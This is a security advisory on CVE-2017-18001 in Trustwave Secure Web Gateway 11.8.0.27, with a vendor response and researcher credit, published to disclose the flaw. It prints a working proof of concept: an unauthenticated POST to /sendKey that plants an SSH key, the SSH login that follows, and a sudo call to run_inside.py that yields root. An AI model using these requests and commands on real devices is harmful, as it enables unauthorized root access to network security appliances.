## Vulnerability Summary
The following advisory describes an unauthorized access vulnerability that allows an unauthenticated user to add their own SSH key to a remote Trustwave SWG version 11.8.0.27.

Trustwave Secure Web Gateway (SWG) “provides distributed enterprises effective real-time protection against dynamic new malware, strong policy enforcement, and a unique Zero-Malware Guarantee when managed for you by our experts.”

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
Trustwave was informed of the vulnerability, and released the following advisory: https://www.trustwave.com/Resources/Trustwave-Software-Updates/Important-Security-Update-for-Trustwave-Secure-Web-Gateway/

CVE: CVE-2017-18001

## Vulnerability details
Trustwave SWG allows remote attackers to send to the SWG product a SSH key that will be used by the SWG product as the SSH key to logon to the device.

This allows unauthenticated user to send a POST request to /sendKey

```
POST /sendKey HTTP/1.1
Host: trustwave.device:5222
Content-Length: 558
content-type: multipart/form-data
user-agent: libwww-perl/6.15
Connection: close

--xYzZY
Content-Disposition: form-data; name="publicKey"; filename="public_key_to_send"
Content-Type: text/plain

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFxLGHCIST4jLDreJoQZnIZX6Fcx/ZyM1dzR2ZSwPG7UC3GYs61/cRGFvL9yuPZwIn8f/p9MCMoKHIG1gNZu0i7pqqZgB5vL+Dbf1vXl4PLY0wwcNMyVUBJaTSHdHSqe1KGBcM/1/gMsGpgcOJw2XMNubmXZxRSFSQLca1BsDmEyPF1KVpGfk60GtEH+c5E6ScEaTP7h0NcM6zEl9gubO2R+cq9FsPcMwF4bdsxyEZYGtVdS8B4goewEt1Nj+1hAzBWGox+hySee0QshZFAvZUrfcn4TsOd1iT95jAFoIDReQn781hmT6YQBpnl7HbDp6otyXAxrsvMOg1fvriAzHv rsyncuser
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
--xYzZY--
```

Which will add the supplied ssh key to Trustwave SWG, which we can use it to login to the device:


```
 /usr/bin/ssh -q -o PasswordAuthentication=no -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o ServerAliveInterval=10 -i ./test.key commander@trustwave.device
Last login: Fri Aug 25 9:01:23 2017 from x.x.x.x
SWG Version               : 11.8.0.27
SWG Maintenance Release   : 0
Role                      : vs
Machine Type              : NG-6000
```

If we will run the id command via ssh we will get the following response:

```
-sh-4.1$ id
uid=1000(rsyncuser) gid=48(apache) groups=48(apache)
```

Once we connected to Trustwave SWG via SSH we can run commands as root by accessing /opt/finjan/msh/run_inside.py

```
# sudo /opt/finjan/msh/run_inside.py bash
bash-4.1# id
uid=0(root) gid=0(root) groups=0(root)
```